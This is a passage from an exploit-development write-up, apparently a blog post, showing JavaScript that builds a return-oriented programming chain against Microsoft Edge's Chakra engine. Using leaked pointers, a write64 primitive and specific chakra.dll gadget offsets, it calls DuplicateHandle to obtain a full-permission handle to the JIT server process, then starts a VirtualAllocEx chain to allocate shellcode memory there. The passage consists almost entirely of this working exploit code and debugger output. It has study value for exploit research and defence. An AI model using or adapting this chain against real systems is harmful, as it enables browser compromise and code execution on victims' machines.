<span class="p">);</span>
</code></pre></div></div>

<p>Here is how this looks with ROP (with all previous ROP chains for context):</p>

<div class="language-javascript highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">// alert() for debugging</span>
<span class="nx">alert</span><span class="p">(</span><span class="dl">"</span><span class="s2">DEBUG</span><span class="dl">"</span><span class="p">);</span>

<span class="c1">// Store the value of the handle to the JIT server by way of chakra!ScriptEngine::SetJITConnectionInfo (chakra!JITManager+s_jitManager+0x8)</span>
<span class="nx">jitHandle</span> <span class="o">=</span> <span class="nx">read64</span><span class="p">(</span><span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74d838</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>

<span class="c1">// Helper function to be called after each stack write to increment offset to be written to</span>
<span class="kd">function</span> <span class="nx">next</span><span class="p">()</span>
<span class="p">{</span>
    <span class="nx">counter</span><span class="o">+=</span><span class="mh">0x8</span><span class="p">;</span>
<span class="p">}</span>

<span class="c1">// Begin ROP chain</span>
<span class="c1">// Since __fastcall requires parameters 5 and so on to be at RSP+0x20, we actually have to put them at RSP+0x28</span>
<span class="c1">// This is because we don't push a return address on the stack, as we don't "call" our APIs, we jump into them</span>
<span class="c1">// Because of this we have to compensate by starting them at RSP+0x28 since we can't count on a return address to push them there for us</span>

<span class="c1">// DuplicateHandle() ROP chain</span>
<span class="c1">// Stage 1 -&gt; Abuse PROCESS_DUP_HANDLE handle to JIT server by performing DuplicateHandle() to get a handle to the JIT server with full permissions</span>
<span class="c1">// ACG is disabled in the JIT process</span>
<span class="c1">// https://bugs.chromium.org/p/project-zero/issues/detail?id=1299</span>

<span class="c1">// Writing our ROP chain to the stack, stack+0x8, stack+0x10, etc. after return address overwrite to hijack control-flow transfer</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX) _should_ come first. However, we are configuring this parameter towards the end, as we need RCX for the lpTargetHandle parameter</span>

<span class="c1">// HANDLE hSourceHandle (RDX)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0xffffffff</span><span class="p">,</span> <span class="mh">0xffffffff</span><span class="p">);</span>             <span class="c1">// Pseudo-handle to current process</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hTargetProcessHandle (R8)</span>
<span class="c1">// (HANDLE)-1 value of current process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// LPHANDLE lpTargetHandle (R9)</span>
<span class="c1">// This needs to be a writable address where the full JIT handle will be stored</span>
<span class="c1">// Using .data section of chakra.dll in a part where there is no data</span>
<span class="cm">/*
0:053&gt; dqs chakra+0x72E000+0x20010
00007ffc`052ae010  00000000`00000000
00007ffc`052ae018  00000000`00000000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72e128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll with a non-zero value to bypass cmp r8d, [rax] future gadget</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x74e010</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll which will hold full perms handle to JIT server;</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// HANDLE hSourceProcessHandle (RCX)</span>
<span class="c1">// Handle to the JIT process from the content process</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">jitHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span>         <span class="c1">// PROCESS_DUP_HANDLE HANDLE to JIT server</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// Call KERNELBASE!DuplicateHandle</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">0</span><span class="p">],</span> <span class="nx">duplicateHandle</span><span class="p">[</span><span class="mi">1</span><span class="p">]);</span> <span class="c1">// KERNELBASE!DuplicateHandle (Recall this was our original leaked pointer var for kernelbase.dll)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x272beb</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180272beb: jmp rax (Call KERNELBASE!DuplicateHandle)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x243949</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// "return address" for KERNELBASE!DuplicateHandle - 0x180243949: add rsp, 0x38 ; ret</span>
<span class="nx">next</span><span class="p">();</span> 
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x38 (shadow space for __fastcall as well)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwDesiredAccess (RSP+0x28)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// BOOL bInheritHandle (RSP+0x30)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00000002</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// DWORD dwOptions (RSP+0x38)</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// VirtuaAllocEx() ROP chain</span>
<span class="c1">// Stage 2 -&gt; Allocate memory in the Edge JIT process (we have a full handle there now)</span>

<span class="c1">// DWORD flAllocationType (R9)</span>
<span class="c1">// MEM_RESERVE (0x00002000) | MEM_COMMIT (0x00001000)</span>
<span class="cm">/*
0:031&gt; ? 0x00002000 | 0x00001000 
Evaluate expression: 12288 = 00000000`00003000
*/</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x577fd4</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x180577fd4: pop rax ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x72E128</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// .data pointer from chakra.dll (ensures future cmp r8d, [rax] gadget writes to a valid pointer)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x46377</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x180046377: pop rcx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00003000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// MEM_RESERVE | MEM_COMMIT</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0xf6270</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x1800f6270: mov r9, rcx ; cmp r8d,  [rax] ; je 0x00000001800F6280 ; mov al, r10L ; add rsp, 0x28 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x28</span>
<span class="nx">next</span><span class="p">();</span>

<span class="c1">// SIZE_T dwSize (R8)</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x1d2c9</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>       <span class="c1">// 0x18001d2c9: pop rdx ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x00001000</span><span class="p">,</span> <span class="mh">0x00000000</span><span class="p">);</span>             <span class="c1">// 0x1000 (shellcode size)</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="nx">chakraLo</span><span class="o">+</span><span class="mh">0x24628b</span><span class="p">,</span> <span class="nx">chakraHigh</span><span class="p">);</span>      <span class="c1">// 0x18024628b: mov r8, rdx ; add rsp, 0x48 ; ret</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
<span class="nx">write64</span><span class="p">(</span><span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span><span class="o">+</span><span class="nx">counter</span><span class="p">,</span> <span class="nx">stackleakPointer</span><span class="p">[</span><span class="mi">1</span><span class="p">],</span> <span class="mh">0x41414141</span><span class="p">,</span> <span class="mh">0x41414141</span><span class="p">);</span>             <span class="c1">// Padding for add rsp, 0x48</span>
<span class="nx">next</span><span class="p">();</span>
